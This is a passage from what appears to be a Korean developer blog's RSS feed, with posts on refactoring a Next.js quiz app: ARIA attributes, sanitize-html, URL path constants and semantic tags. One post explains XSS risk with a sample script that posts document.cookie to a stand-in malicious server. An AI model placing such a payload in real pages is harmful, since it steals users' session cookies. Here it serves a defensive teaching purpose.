            {/*퀴즈 답안 폼*/}
            &lt;QuizAnswerForm
                quizId={quizData.quizId}
                quizType={quizData.type}
                quizMultipleChoiceContents={quizData.multipleChoiceContents}
                /&gt;
        &lt;/QuizDetailsManager&gt;
    );
};

export default QuizDetails;
</code></pre>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/05311d00-e347-451e-bbd4-dfeb19873c36/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/47b0f703-f6bb-4fb4-bcb1-7ca264cd5441/image.png" alt=""></p>
<p>위는 퀴즈 상세 컴포넌트이며 퀴즈 관련 세부 컨텐츠를 담고 있습니다. 퀴즈를 풀 때마다 다른 퀴즈 페이지로 이동합니다. 즉, 페이지가 동적으로 계속해서 변경된다는 건데요.</p>
<p>때문에 퀴즈를 채점하고 다음 문제로 이동할 때마다, 스크린리더가 페이지의 변경 내용을 감지하여 퀴즈 컨텐츠들을 감지할 필요가 있습니다.</p>
<p>이를 위해 퀴즈 컨텐츠에 <code>aria-live</code> 속성을 적용해보려고 합니다.</p>
<h3 id="aria-live-속성-적용">aria-live 속성 적용</h3>
<p>다음은 퀴즈 제목,문제 설명,내용 컴포넌트입니다.</p>
<pre><code class="language-tsx">&quot;use server&quot;;

import React from &quot;react&quot;;

// 퀴즈 제목
function QuizTitle({ title }: { title: string }) {
    return (
        &lt;h1
            className={
                &quot;text-center lg:text-title1 md:text-title2Bold sm:text-title2Bold&quot;
            }
        &gt;
            {title}
        &lt;/h1&gt;
    );
}

export default QuizTitle;

&quot;use server&quot;;

import React from &quot;react&quot;;

// 퀴즈 문제
function QuizQuestion({ question }: { question: string }) {
    return (
        &lt;h2
            className={&quot;text-menu&quot;}
        &gt;
            {question}
        &lt;/h2&gt;
    );
}

export default QuizQuestion;

&quot;use server&quot;;

import sanitize from &quot;@/app/_utils/function/sanitize&quot;;
import React from &quot;react&quot;;
import &quot;prismjs/themes/prism.css&quot;;

// 퀴즈 내용
function QuizContent({ content }: { content: string }) {
    return (
        &lt;div
            className={&quot;w-full&quot;}
            dangerouslySetInnerHTML={{
                __html: sanitize(content),
            }}
        &gt;&lt;/div&gt;
    );
}

export default QuizContent;

</code></pre>
<p>각 태그에 <code>aria-live : polite</code>을 적용해주도록 하겠습니다.</p>
<p>aria-live는 요소가 동적으로 업데이트될 때 스크린 리더가 이를 감지하고 사용자에게 읽어주는 방식을 지정합니다.</p>
<p><code>polite</code>는현재 스크린 리더가 읽고 있는 내용을 방해하지 않고, 읽기가 끝난 뒤 변경 사항을 읽어줍니다. 중요한 정보이지만 즉각적인 주의가 필요하지 않은 경우 사용합니다.</p>
<p>다음과 같이 속성 하나만 추가해줬습니다.</p>
<pre><code class="language-tsx">&quot;use server&quot;;

import React from &quot;react&quot;;

// 퀴즈 제목
function QuizTitle({ title }: { title: string }) {
    return (
        &lt;h1
            className={
                &quot;text-center lg:text-title1 md:text-title2Bold sm:text-title2Bold&quot;
            }
        &gt;
            {title}
        &lt;/h1&gt;
    );
}

export default QuizTitle;

&quot;use server&quot;;

import React from &quot;react&quot;;

// 퀴즈 문제
function QuizQuestion({ question }: { question: string }) {
    return (
        &lt;h2
            className={&quot;text-menu&quot;}
        &gt;
            {question}
        &lt;/h2&gt;
    );
}

export default QuizQuestion;

&quot;use server&quot;;

import sanitize from &quot;@/app/_utils/function/sanitize&quot;;
import React from &quot;react&quot;;
import &quot;prismjs/themes/prism.css&quot;;

// 퀴즈 내용
function QuizContent({ content }: { content: string }) {
    return (
        &lt;div
            className={&quot;w-full&quot;}
            dangerouslySetInnerHTML={{
                __html: sanitize(content),
            }}
        &gt;&lt;/div&gt;
    );
}

export default QuizContent;

</code></pre>
<h3 id="aria-label-속성-적용">aria-label 속성 적용</h3>
<p>다음은 퀴즈를 채점한 뒤, 나타나는 해설로 이동하는 버튼과 다음 문제로 이동하는 버튼에 대한 컴포넌트입니다.</p>
<pre><code class="language-tsx">import AfterCheckButtonContainer
    from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/client/quizAnswerForm/afterCheckButtons/afterCheckButtonContainer&quot;;
import ExplanationLink
    from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/client/quizAnswerForm/afterCheckButtons/explanationLink&quot;;
import NextQuizLink from &quot;@/app/(page)/quiz/_common_ui/client/nextQuizLink&quot;;
import React from &#39;react&#39;;

// 채점 후 버튼(해설, 다음문제)
function AfterCheckButtons() {

    return (
        &lt;AfterCheckButtonContainer&gt;
             {/*해설 링크*/}
             &lt;ExplanationLink/&gt;
             {/*다음 문제 링크*/}
             &lt;NextQuizLink/&gt;
        &lt;/AfterCheckButtonContainer&gt;
    );
}

export default AfterCheckButtons;
</code></pre>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/9e27741a-a8fc-4faf-b009-505564d27765/image.png" alt=""></p>
<p><code>AfterCheckButtonContainer</code>는 하위 버튼 및 링크들을 감싸주는 역할을 합니다.</p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

function AfterCheckButtonContainer({
    children
                                   }:{
    children: React.ReactNode
}) {
    return (
        &lt;nav
            className={&quot;flex justify-center items-center gap-2 w-full&quot;}&gt;
            {children}
        &lt;/nav&gt;
    );
}

export default AfterCheckButtonContainer;
</code></pre>
<p>이 때 이 컨테이너가 레이아웃 역할뿐만 아니라 다른 페이지로 이동할 수 있는 항목이라는 것을 <code>nav</code>태그를 사용함으로써 알려주고 있습니다.</p>
<p>여기에 더불어 이 링크와 버튼들이 어떠한 네비게이션인지 설명해주면 더 좋을 것 같다는 생각이 들어 <code>aria-label</code>로 추가적인 설명을 해주고 싶었습니다.</p>
<p>그래서 다음과 같이 변경해봤습니다.</p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

function AfterCheckButtonContainer({
    children
                                   }:{
    children: React.ReactNode
}) {
    return (
        &lt;nav
            aria-label={&quot;Quiz navigation&quot;}
            className={&quot;flex justify-center items-center gap-2 w-full&quot;}&gt;
            {children}
        &lt;/nav&gt;
    );
}

export default AfterCheckButtonContainer;
</code></pre>
<p>스크린 리더 버튼들을 설명할 때, 퀴즈 네비게이션이라 해석 및 설명하여 버튼들의 목적을 잘 알려줄 수 있을 것 같다 생각하여 추가해보았습니다.</p>
<h2 id="정리">정리</h2>
<p>시맨틱 태그를 적절히 설정하여 aria 속성을 적용할 부분이 많이 없었습니다.</p>
<p>때문에 우선 내가 표현하는 컨텐츠에 대해서 태그와 텍스트가 잘 표현하는 것이 우선적으로 중요하고 그것만으로 설명이 부족하다면 적절한 aria 속성을 적용하는 것이 더 나은 웹 접근성을 향상시키는데에 중요할 것 같습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링- 외부에서 온 HTML 검열-sanitize-html]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-sanitize-html</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-sanitize-html</guid>
            <pubDate>Fri, 20 Dec 2024 18:54:24 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/ded27ac0-5ea1-46aa-9a39-2d7bef2227a3/image.png" alt=""></p>
<p>위 컨텐츠는 서버에서 받아온 HTML을 통해 보여주고 있습니다.</p>
<p>서버에서 받아온 위와 같은 HTML을 보여주기 위해서는 다음과 같이 <code>dangerouslySetInnerHTML</code> 속성을 사용합니다.</p>
<pre><code class="language-tsx">import &#39;prismjs/themes/prism.css&#39;;

import sanitize from &quot;@/app/_utils/function/sanitize&quot;;
import React from &#39;react&#39;;

// 퀴즈 해설 컨텐츠
function QuizExplanationContent({
                                        content
                                }:{
    content:string
}) {
    return (
        &lt;div
            className={&quot;prose&quot;}
            dangerouslySetInnerHTML={{__html:sanitize(content)}}
        /&gt;
    );
}

export default QuizExplanationContent;
</code></pre>
<blockquote>
<p><strong>dangerouslySetInnerHTML</strong>
dangerouslySetInnerHTML 속성은 React에서 <strong>HTML을 직접 삽입</strong>할 때 사용하는 속성입니다. 주로 HTML 문자열을 DOM에 렌더링해야 할 때 사용됩니다.
React는 일반적으로 JSX를 통해 HTML을 작성하지만, 외부에서 전달된 HTML 문자열을 DOM에 삽입하려면 이 속성을 사용해야 합니다.</p>
</blockquote>
<h2 id="dangerouslysetinnerhtml의-위험함-xss-공격에-취약"><strong>dangerouslySetInnerHTML</strong>의 위험함-XSS 공격에 취약</h2>
<p><code>dangerouslySetInnerHTML</code>은 말 그대로 &quot;위험하게&quot; HTML을 삽입하므로, 삽입된 HTML에 포함된 악성 스크립트가 실행될 수 있는 보안 취약점이 있습니다.</p>
<p>예를 들어,서버에서 받은 HTML 컨텐츠 중 다음과 같은 코드가 있다고 해봅시다.</p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

function Content() {
  // 외부에서 받은 데이터 (악성 스크립트 포함)
  const userInput = `
    &lt;div&gt;
      &lt;h1&gt;Welcome!&lt;/h1&gt;
      &lt;script&gt;
        // 사용자의 쿠키를 탈취하여 공격자의 서버로 전송
        fetch(&#39;https://malicious-server.com/steal-cookie&#39;, {
          method: &#39;POST&#39;,
          headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },
          body: JSON.stringify({ cookie: document.cookie })
        });
      &lt;/script&gt;
    &lt;/div&gt;
  `;

  return (
    &lt;div dangerouslySetInnerHTML={{ __html: userInput }} /&gt;
  );
}

export default Content;
</code></pre>
<p>위는 보통 블로그 혹은 포스팅을 작성할 때, 악성 사용자가 위와 같은 스크립트를 넣어 작성할 수 있습니다. 이를 통해, 본인의 서버로 쿠키를 전송받아 다른 유저의 정보를 이용할 수 있죠.</p>
<p>때문에 위와 같은 시나리오를 방지하기 위해서는 외부에서 받아온 HTML을 검열할 필요가 있습니다.</p>
<h2 id="해결방법-sanitize-html">해결방법-sanitize-html</h2>
<p>해결방법으로 <code>sanitize-html</code> 패키지를 사용해보겠습니다.</p>
<p>sanitize-html 패키지는 <strong>Node.js 환경</strong>에서 HTML 문자열을 안전하게 정리하고, <strong>XSS(크로스 사이트 스크립팅) 공격을 방지하기 위해 사용</strong>되는 라이브러리입니다. 이 라이브러리는 사용자가 제공한 HTML에서 <strong>위험한 태그와 속성을 제거하거나 허용된 태그만 남기는 방식</strong>으로 보안을 강화합니다.</p>
<p>프로젝트가 Nextjs로 구성되어있기 때문에 즉, nodejs 환경이기 때문에 서버사이드에서 위 패키지를 활용할 수 있습니다.</p>
<h3 id="1sanitize-html-패키지-설치">1.<code>sanitize-html</code> 패키지 설치</h3>
<p>우선 <code>sanitize-html</code> 패키지를 설치해보겠습니다.</p>
<pre><code>yarn add sanitize-html
yarn add -D @types/sanitize-html</code></pre><h3 id="2-sanitize-함수-생성">2. sanitize 함수 생성</h3>
<p><code>sanitize-html</code> 패키지 함수를 사용할 함수를 별도로 만들어줍니다.</p>
<pre><code class="language-ts">// app/_utils/function/sanitize.ts
import sanitizeHtml from &#39;sanitize-html&#39;;

function sanitize(dirtyHtml: string): string {
  return sanitizeHtml(dirtyHtml)
}

export default sanitize;
</code></pre>
<h3 id="3-sanitize-가져다-쓰기">3. sanitize 가져다 쓰기</h3>
<p>이제 서버에서 받아온 HTML에서 sanitize 함수를 써보겠습니다.</p>
<pre><code class="language-tsx">import &#39;prismjs/themes/prism.css&#39;;

import sanitize from &quot;@/app/_utils/function/sanitize&quot;;
import React from &#39;react&#39;;

// 퀴즈 해설 컨텐츠
function QuizExplanationContent({
                                        content
                                }:{
    content:string
}) {
    return (
        &lt;div
            className={&quot;prose&quot;}
            dangerouslySetInnerHTML={{__html:sanitize(content)}}
        /&gt;
    );
}

export default QuizExplanationContent;
</code></pre>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/a7b14904-3f17-4540-bc8b-29cdf64563a5/image.png" alt=""></p>
<p>하지만 기존에 적용되어있던 css들이 적용되지 않은 것을 확인할 수 있었습니다.</p>
<p>원래라면 다음과 같은 화면이여야합니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/b5e1c8f5-2537-4748-9966-be9a58235f2a/image.png" alt=""></p>
<p>개발자 도구로 해당 HTML을 살펴보니 class들이 다 없어져있는 것을 확인할 수 있었습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/0d1851a1-2990-43f9-a63a-deade968b4d7/image.png" alt=""></p>
<p>원래라면 다음과 같이 이런저런 class가 적용되어있어야합니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/c27dde4a-9d08-48a6-aa1c-1931f46f3c11/image.png" alt=""></p>
<h2 id="sanitize-html의-기본-옵션값">sanitize-html의 기본 옵션값</h2>
<pre><code class="language-js">allowedTags: [
  &quot;address&quot;, &quot;article&quot;, &quot;aside&quot;, &quot;footer&quot;, &quot;header&quot;, &quot;h1&quot;, &quot;h2&quot;, &quot;h3&quot;, &quot;h4&quot;,
  &quot;h5&quot;, &quot;h6&quot;, &quot;hgroup&quot;, &quot;main&quot;, &quot;nav&quot;, &quot;section&quot;, &quot;blockquote&quot;, &quot;dd&quot;, &quot;div&quot;,
  &quot;dl&quot;, &quot;dt&quot;, &quot;figcaption&quot;, &quot;figure&quot;, &quot;hr&quot;, &quot;li&quot;, &quot;main&quot;, &quot;ol&quot;, &quot;p&quot;, &quot;pre&quot;,
  &quot;ul&quot;, &quot;a&quot;, &quot;abbr&quot;, &quot;b&quot;, &quot;bdi&quot;, &quot;bdo&quot;, &quot;br&quot;, &quot;cite&quot;, &quot;code&quot;, &quot;data&quot;, &quot;dfn&quot;,
  &quot;em&quot;, &quot;i&quot;, &quot;kbd&quot;, &quot;mark&quot;, &quot;q&quot;, &quot;rb&quot;, &quot;rp&quot;, &quot;rt&quot;, &quot;rtc&quot;, &quot;ruby&quot;, &quot;s&quot;, &quot;samp&quot;,
  &quot;small&quot;, &quot;span&quot;, &quot;strong&quot;, &quot;sub&quot;, &quot;sup&quot;, &quot;time&quot;, &quot;u&quot;, &quot;var&quot;, &quot;wbr&quot;, &quot;caption&quot;,
  &quot;col&quot;, &quot;colgroup&quot;, &quot;table&quot;, &quot;tbody&quot;, &quot;td&quot;, &quot;tfoot&quot;, &quot;th&quot;, &quot;thead&quot;, &quot;tr&quot;
],
nonBooleanAttributes: [
  &#39;abbr&#39;, &#39;accept&#39;, &#39;accept-charset&#39;, &#39;accesskey&#39;, &#39;action&#39;,
  &#39;allow&#39;, &#39;alt&#39;, &#39;as&#39;, &#39;autocapitalize&#39;, &#39;autocomplete&#39;,
  &#39;blocking&#39;, &#39;charset&#39;, &#39;cite&#39;, &#39;class&#39;, &#39;color&#39;, &#39;cols&#39;,
  &#39;colspan&#39;, &#39;content&#39;, &#39;contenteditable&#39;, &#39;coords&#39;, &#39;crossorigin&#39;,
  &#39;data&#39;, &#39;datetime&#39;, &#39;decoding&#39;, &#39;dir&#39;, &#39;dirname&#39;, &#39;download&#39;,
  &#39;draggable&#39;, &#39;enctype&#39;, &#39;enterkeyhint&#39;, &#39;fetchpriority&#39;, &#39;for&#39;,
  &#39;form&#39;, &#39;formaction&#39;, &#39;formenctype&#39;, &#39;formmethod&#39;, &#39;formtarget&#39;,
  &#39;headers&#39;, &#39;height&#39;, &#39;hidden&#39;, &#39;high&#39;, &#39;href&#39;, &#39;hreflang&#39;,
  &#39;http-equiv&#39;, &#39;id&#39;, &#39;imagesizes&#39;, &#39;imagesrcset&#39;, &#39;inputmode&#39;,
  &#39;integrity&#39;, &#39;is&#39;, &#39;itemid&#39;, &#39;itemprop&#39;, &#39;itemref&#39;, &#39;itemtype&#39;,
  &#39;kind&#39;, &#39;label&#39;, &#39;lang&#39;, &#39;list&#39;, &#39;loading&#39;, &#39;low&#39;, &#39;max&#39;,
  &#39;maxlength&#39;, &#39;media&#39;, &#39;method&#39;, &#39;min&#39;, &#39;minlength&#39;, &#39;name&#39;,
  &#39;nonce&#39;, &#39;optimum&#39;, &#39;pattern&#39;, &#39;ping&#39;, &#39;placeholder&#39;, &#39;popover&#39;,
  &#39;popovertarget&#39;, &#39;popovertargetaction&#39;, &#39;poster&#39;, &#39;preload&#39;,
  &#39;referrerpolicy&#39;, &#39;rel&#39;, &#39;rows&#39;, &#39;rowspan&#39;, &#39;sandbox&#39;, &#39;scope&#39;,
  &#39;shape&#39;, &#39;size&#39;, &#39;sizes&#39;, &#39;slot&#39;, &#39;span&#39;, &#39;spellcheck&#39;, &#39;src&#39;,
  &#39;srcdoc&#39;, &#39;srclang&#39;, &#39;srcset&#39;, &#39;start&#39;, &#39;step&#39;, &#39;style&#39;,
  &#39;tabindex&#39;, &#39;target&#39;, &#39;title&#39;, &#39;translate&#39;, &#39;type&#39;, &#39;usemap&#39;,
  &#39;value&#39;, &#39;width&#39;, &#39;wrap&#39;,
  // Event handlers
  &#39;onauxclick&#39;, &#39;onafterprint&#39;, &#39;onbeforematch&#39;, &#39;onbeforeprint&#39;,
  &#39;onbeforeunload&#39;, &#39;onbeforetoggle&#39;, &#39;onblur&#39;, &#39;oncancel&#39;,
  &#39;oncanplay&#39;, &#39;oncanplaythrough&#39;, &#39;onchange&#39;, &#39;onclick&#39;, &#39;onclose&#39;,
  &#39;oncontextlost&#39;, &#39;oncontextmenu&#39;, &#39;oncontextrestored&#39;, &#39;oncopy&#39;,
  &#39;oncuechange&#39;, &#39;oncut&#39;, &#39;ondblclick&#39;, &#39;ondrag&#39;, &#39;ondragend&#39;,
  &#39;ondragenter&#39;, &#39;ondragleave&#39;, &#39;ondragover&#39;, &#39;ondragstart&#39;,
  &#39;ondrop&#39;, &#39;ondurationchange&#39;, &#39;onemptied&#39;, &#39;onended&#39;,
  &#39;onerror&#39;, &#39;onfocus&#39;, &#39;onformdata&#39;, &#39;onhashchange&#39;, &#39;oninput&#39;,
  &#39;oninvalid&#39;, &#39;onkeydown&#39;, &#39;onkeypress&#39;, &#39;onkeyup&#39;,
  &#39;onlanguagechange&#39;, &#39;onload&#39;, &#39;onloadeddata&#39;, &#39;onloadedmetadata&#39;,
  &#39;onloadstart&#39;, &#39;onmessage&#39;, &#39;onmessageerror&#39;, &#39;onmousedown&#39;,
  &#39;onmouseenter&#39;, &#39;onmouseleave&#39;, &#39;onmousemove&#39;, &#39;onmouseout&#39;,
  &#39;onmouseover&#39;, &#39;onmouseup&#39;, &#39;onoffline&#39;, &#39;ononline&#39;, &#39;onpagehide&#39;,
  &#39;onpageshow&#39;, &#39;onpaste&#39;, &#39;onpause&#39;, &#39;onplay&#39;, &#39;onplaying&#39;,
  &#39;onpopstate&#39;, &#39;onprogress&#39;, &#39;onratechange&#39;, &#39;onreset&#39;, &#39;onresize&#39;,
  &#39;onrejectionhandled&#39;, &#39;onscroll&#39;, &#39;onscrollend&#39;,
  &#39;onsecuritypolicyviolation&#39;, &#39;onseeked&#39;, &#39;onseeking&#39;, &#39;onselect&#39;,
  &#39;onslotchange&#39;, &#39;onstalled&#39;, &#39;onstorage&#39;, &#39;onsubmit&#39;, &#39;onsuspend&#39;,
  &#39;ontimeupdate&#39;, &#39;ontoggle&#39;, &#39;onunhandledrejection&#39;, &#39;onunload&#39;,
  &#39;onvolumechange&#39;, &#39;onwaiting&#39;, &#39;onwheel&#39;
],
disallowedTagsMode: &#39;discard&#39;,
allowedAttributes: {
  a: [ &#39;href&#39;, &#39;name&#39;, &#39;target&#39; ],
  // We don&#39;t currently allow img itself by default, but
  // these attributes would make sense if we did.
  img: [ &#39;src&#39;, &#39;srcset&#39;, &#39;alt&#39;, &#39;title&#39;, &#39;width&#39;, &#39;height&#39;, &#39;loading&#39; ]
},
// Lots of these won&#39;t come up by default because we don&#39;t allow them
selfClosing: [ &#39;img&#39;, &#39;br&#39;, &#39;hr&#39;, &#39;area&#39;, &#39;base&#39;, &#39;basefont&#39;, &#39;input&#39;, &#39;link&#39;, &#39;meta&#39; ],
// URL schemes we permit
allowedSchemes: [ &#39;http&#39;, &#39;https&#39;, &#39;ftp&#39;, &#39;mailto&#39;, &#39;tel&#39; ],
allowedSchemesByTag: {},
allowedSchemesAppliedToAttributes: [ &#39;href&#39;, &#39;src&#39;, &#39;cite&#39; ],
allowProtocolRelative: true,
enforceHtmlBoundary: false,
parseStyleAttributes: true</code></pre>
<p>위 옵션값들이 기본적으로 sanitizeHtml을 사용할 때 적용되는 옵션입니다.</p>
<p><code>import sanitizeHtml from &#39;sanitize-html&#39;;</code></p>
<p><code>allowedAttributes</code>에는 허용할 속성값들을 명시하는데 잘 확인해보면 <code>class</code> 속성값이 없습니다.</p>
<p>때문에 <code>class</code>속성값을 다 지운 뒤,html 반환해주는 것입니다.</p>
<h2 id="모든-태그에-class-속성-허용">모든 태그에 class 속성 허용</h2>
<p>서버에서 받아오는 HTML의 경우,css class 적용이 대부분 태그에 적용되어있습니다.
때문에 저는 모든 태그에 class 속성을 허용해주도록 설정해보겠습니다.</p>
<pre><code class="language-ts">import sanitizeHtml from &#39;sanitize-html&#39;;

function sanitize(dirtyHtml: string): string {
  return sanitizeHtml(dirtyHtml,{
    allowedAttributes:{
        &#39;*&#39;: [&#39;class&#39;]
    }
  })
}

export default sanitize;
</code></pre>
<p>위 옵션은 모든 태그에 class 속성을 허용해주겠다는 설정입니다.</p>
<p>이제 위와 같이 설정을 해주면 다음과 같이 제대로 화면이 나타나는 것을 확인할 수 있으며 태그에 class도 적절히 설정되는 것을 확인할 수 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/85b87635-3c49-4a24-8125-6092fc1abc00/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/4e91e95d-553f-46a5-936f-8d90eaec945d/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링-유지보수성 높이기-URL path를 상수로 관리]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-URL-path%EB%A5%BC-%EC%83%81%EC%88%98%EB%A1%9C-%EA%B4%80%EB%A6%AC</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-URL-path%EB%A5%BC-%EC%83%81%EC%88%98%EB%A1%9C-%EA%B4%80%EB%A6%AC</guid>
            <pubDate>Fri, 20 Dec 2024 14:11:16 GMT</pubDate>
            <description><![CDATA[<p>이번에는 URL path를 상수로 변경하는 작업을 해보려합니다.</p>
<p>기존에는 다음과 같이 직접 문자를 입력하는 식으로 관리하였습니다.</p>
<pre><code class="language-tsx">import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import PATHS from &quot;@/app/_constants/paths&quot;;
import React from &#39;react&#39;;

// 메인 링크
function HomeLink() {
    return (
        &lt;PrimaryLink
            className={&quot;!w-[130px] !h-[42px]&quot;}
            href={`/quiz`}
        &gt;
            퀴즈 풀어보기
        &lt;/PrimaryLink&gt;
    );
}

export default HomeLink;
</code></pre>
<pre><code class="language-tsx">import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import PATHS from &quot;@/app/_constants/paths&quot;;
import React from &#39;react&#39;;

// 돌아가기 버튼
function ReturnButton({returnUrl}:{returnUrl:string}) {
    return (
        &lt;PrimaryLink
            color={&quot;primarySecondary&quot;}
            href={`/quiz/${returnUrl}`}&gt;
            돌아가기
        &lt;/PrimaryLink&gt;
    );
}

export default ReturnButton;</code></pre>
<pre><code class="language-tsx">

export async function generateMetadata({
        title:`해설-${data.metaTitle}`,
        description: `해설-${data.metaDescription}`,
        alternates:{
            canonical:`${process.env.NEXT_PUBLIC_BASE_URL}/quiz/explanation/${data.detailUrl}`

        }
    }
}</code></pre>
<h2 id="유지보수의-어려움">유지보수의 어려움</h2>
<p>하지만 위와 같이 관리한다면 특정 URL path를 변경한다면 해당 path를 사용하는 모든 파일을 일일히 찾아서 변경해줘야합니다.</p>
<p>예를 들어, <code>quiz</code>라는 path 대신 <code>code</code>로 변경했다고 합시다.</p>
<p>그러면 quiz 관련 path를 사용하는 모든 파일을 변경해줘야겠죠.</p>
<p>하지만 상수로 관리한다면 해당 상수값만 변경해주면 되죠.</p>
<h2 id="url-path-상수로-관리">URL path 상수로 관리</h2>
<p>그래서 저는 상수 디렉터리에 paths라는 파일을 만들어서 해당 파일에서 path를 관리해보기로했습니다.</p>
<pre><code class="language-ts">// URL 경로를 상수로 정의
const PATHS ={
    HOME: &quot;/&quot;,
    QUIZ: &quot;quiz&quot;,
    QUIZ_COMPLETED: &quot;quiz/completed&quot;,
    QUIZ_RANDOM: (id:string) =&gt; `quiz/${id}`, // 퀴즈 랜덤
    QUIZ_DETAIL: (id:string) =&gt; `quiz/${id}`, // 퀴즈 상세
    QUIZ_EXPLANATION: (id:string) =&gt; `quiz/${id}/explanation`, // 퀴즈 설명
};

export default PATHS;
</code></pre>
<pre><code class="language-tsx">import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import PATHS from &quot;@/app/_constants/paths&quot;;
import React from &#39;react&#39;;

// 퀴즈 완료 링크
function QuizCompletedLink() {
    return (
        &lt;PrimaryLink
            href={`/${PATHS.QUIZ}`}
        &gt;
            다른 퀴즈 풀러가기
        &lt;/PrimaryLink&gt;
    );
}

export default QuizCompletedLink;


    const NAVMENU = [
        {
            title: &quot;퀴즈&quot;,
            link: PATHS.QUIZ,
        },

    ]

    import {BASE_URL} from &quot;@/app/_constants/baseURL&quot;;
import PATHS from &quot;@/app/_constants/paths&quot;;
import type {MetadataRoute} from &#39;next&#39;

export default async function sitemap():Promise&lt;MetadataRoute.Sitemap&gt;{

    return [
        {
            url: BASE_URL,
            // @todo 마지막 수정날짜로 변경
            lastModified: new Date(),
            changeFrequency: &#39;monthly&#39;,
            priority: 0.5,
        },
        {
            url: `${BASE_URL}/${PATHS.QUIZ}`,
            // @todo 마지막 수정날짜로 변경
            lastModified: new Date(),
            changeFrequency: &#39;monthly&#39;,
            priority: 0.8,
        },
    ]
}
</code></pre>
<p>URL path 뿐만 아니라, 상수로 사용하는 값이 있다면 상수 변수로 관리하는 습관이 유지보수에 좋을 것 같네요.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링-태그만 바꿔서 여러가지 효과 얻기- 시맨틱 태그 적용]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-%EC%8B%9C%EB%A7%A8%ED%8B%B1-%ED%83%9C%EA%B7%B8-%EC%A0%81%EC%9A%A9</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-%EC%8B%9C%EB%A7%A8%ED%8B%B1-%ED%83%9C%EA%B7%B8-%EC%A0%81%EC%9A%A9</guid>
            <pubDate>Fri, 20 Dec 2024 12:51:05 GMT</pubDate>
            <description><![CDATA[<p>이번에는 프로젝트 전체 컴포넌트들에 시맨틱 태그들이 적절히 적용되었나 점검하고 필요한 부분은 적절한 시맨틱 태그로 변경해보겠습니다.</p>
<h2 id="시맨틱-태그란">시맨틱 태그란?</h2>
<p>semantic은 <strong>의미론적인</strong>이라는 뜻을 가지고 있습니다.
프로그래밍에서, <strong>시맨틱</strong>은 코드 조각의 &#39;의미&#39;를 나타냅니다.</p>
<p>그렇다면 <strong>시맨틱 태그란 특정한 의미 혹은 목적을 가진 태그</strong>라 할 수 있습니다.</p>
<p>몇 가지 HTML 태그를 살펴봤을 때,<code>h1</code>은 heading으로 머릿말을 나타내는데 사용됩니다.
<code>header</code>는 레이아웃 혹은 페이지의 상단 부분을 나타나는데 사용되는 태그입니다.
<code>main</code>은 주요 콘텐츠 영역을 나타나는데 사용됩니다.</p>
<h2 id="시맨틱-태그를-왜-사용해야할까">시맨틱 태그를 왜 사용해야할까?</h2>
<p>시맨틱 태그,각 태그는 특정한 의미를 가지고 있는데요. 
특정 의미에 따라 사용되는 것이 권장됩니다.</p>
<p>이유는 다음과 같습니다.</p>
<h3 id="seo-최적화">SEO 최적화</h3>
<p>검색 엔진은 <strong>시맨틱 태그를 적절히 사용하는 것이 페이지의 검색 순위에 영향을 줄 수 있는 중요한 요소</strong>로 간주합니다.</p>
<p>때문에 의도에 맞게 적절한 태그를 사용하면 본인의 웹페이지의 <strong>검색 순위를 높일 수 있습니다.</strong></p>
<h3 id="가독성">가독성</h3>
<p>각 마크업을 적절한 태그로 설정하면 개발자가 HTML 코드를 보았을 때, 어떤 내용인지 파악하기 쉽습니다.</p>
<p>아래 태그를 확인해보시죠.</p>
<p><strong>이전</strong></p>
<pre><code class="language-html">      &lt;div &gt;
                &lt;PrimaryLink
                    href={&quot;/&quot;}
                    color={&quot;none&quot;}
                    className={&quot;text-primary-normal text-title1 font-bold&quot;}
                &gt;
                   코아
                &lt;/PrimaryLink&gt;

        &lt;/div&gt;
</code></pre>
<p>위 태그만 보았을 때, 어떤 내용인지 단번에 파악하기 쉽지 않습니다.</p>
<p>하지만 다음과 같이 변경해보면 어떨까요?</p>
<p><strong>이후</strong></p>
<pre><code class="language-html">      &lt;header &gt;
                &lt;PrimaryLink
                    href={&quot;/&quot;}
                    color={&quot;none&quot;}
                    className={&quot;text-primary-normal text-title1 font-bold&quot;}
                &gt;
                   코아
                &lt;/PrimaryLink&gt;

        &lt;/header&gt;
</code></pre>
<p><code>div</code>를 <code>header</code>로 변경하면서 이제 위 태그가 페이지의 헤더라는 것을 파악할 수 있죠.</p>
<p>이처럼 적절한 태그로 설정하는 것은 가독성을 높여주어 개발자의 경험을 높여줄 수 있습니다.</p>
<h3 id="스크린-리더의-해석에-도움">스크린 리더의 해석에 도움</h3>
<p>적절한 시맨틱 마크업을 하는 것은 스크린 리더가 화면을 해석하는데에 도움을 줍니다.</p>
<blockquote>
<p><strong>스크린 리더</strong>
